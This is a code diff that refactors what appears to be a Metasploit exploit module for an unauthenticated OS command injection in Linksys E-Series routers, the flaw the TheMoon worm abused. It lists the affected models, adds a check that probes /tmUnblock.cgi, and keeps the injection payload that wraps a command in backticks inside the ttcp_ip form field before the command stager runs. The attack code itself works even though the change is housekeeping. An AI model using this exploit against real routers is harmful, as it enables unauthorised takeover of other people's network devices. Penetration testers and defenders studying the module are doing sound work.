@@ -15,14 +15,11 @@ def initialize(info = {})
15
15
super ( update_info ( info ,
16
16
'Name' => 'Linksys E-Series TheMoon Remote Command Injection' ,
17
17
'Description' => %q{
18
- Some Linksys E-Series Routers are vulnerable to an unauthenticated OS command
19
- injection. Since it is a blind os command injection vulnerability, there is no
20
- output for the executed command when using the cmd generic payload. A ping
21
- command against a controlled system could be used for testing purposes. This
22
- vulnerability was used from the so called "TheMoon" worm. There are many Systems
23
- that might be vulnerable:
24
- E4200, E3200, E3000, E2500, E2100L, E2000, E1550, E1500, E1200, E1000, E900. This
25
- module was tested against a E1500 v1.0.5.
18
+ Some Linksys E-Series Routers are vulnerable to an unauthenticated OS command
19
+ injection. This vulnerability was used from the so called "TheMoon" worm. There
20
+ are many Linksys systems that might be vulnerable including E4200, E3200, E3000,
21
+ E2500, E2100L, E2000, E1550, E1500, E1200, E1000, E900. This module was tested
22
+ successfully against an E1500 v1.0.5.
26
23
} ,
27
24
'Author' =>
28
25
[
@@ -86,33 +83,39 @@ def execute_command(cmd, opts)
86
83
"ttcp_ip" => "-h `#{ cmd } `" ,
87
84
"StartEPI" => "1"
88
85
}
89
- } )
86
+ } , 2 )
90
87
return res
91
88
rescue ::Rex ::ConnectionError
92
- vprint_error ( "#{ peer } - Failed to connect to the web server" )
93
- return nil
89
+ fail_with ( Failure ::Unreachable , "#{ peer } - Failed to connect to the web server" )
94
90
end
95
91
end
96
92
97
- def exploit
98
- print_status ( "#{ peer } - Trying to access the vulnerable url" )
93
+ def check
99
94
begin
100
95
res = send_request_cgi ( {
101
96
'uri' => '/tmUnblock.cgi' ,
102
- 'method' => 'GET' ,
97
+ 'method' => 'GET'
103
98
} )
104
- if res . nil? or res . code == 404
105
- fail_with ( Failure ::NoAccess , "#{ peer } - Access to the vulnerable URL is not possible" )
106
- end
107
- if [ 200 , 301 , 302 ] . include? ( res . code )
108
- print_good ( "#{ peer } - Successfully accessed the vulnerable url" )
109
- else
110
- fail_with ( Failure ::NoAccess , "#{ peer } - Access to the vulnerable URL is not possible" )
99
+
100
+ if res && [ 200 , 301 , 302 ] . include? ( res . code )
101
+ return Exploit ::CheckCode ::Detected
111
102
end
112
103
rescue ::Rex ::ConnectionError
113
- fail_with ( Failure :: Unreachable , " #{ peer } - Failed to connect to the web server" )
104
+ return Exploit :: CheckCode :: Unknown
114
105
end
115
106
107
+ Exploit ::CheckCode ::Unknown
108
+ end
109
+
110
+ def exploit
111
+ print_status ( "#{ peer } - Trying to access the vulnerable URL..." )
112
+
113
+ unless check == Exploit ::CheckCode ::Detected
114
+ fail_with ( Failure ::Unknown , "#{ peer } - Failed to access the vulnerable URL" )
115
+ end
116
+
117
+ print_status ( "#{ peer } - Exploiting..." )
116
118
execute_cmdstager
117
119
end
120
+
118
121
end
0 commit comments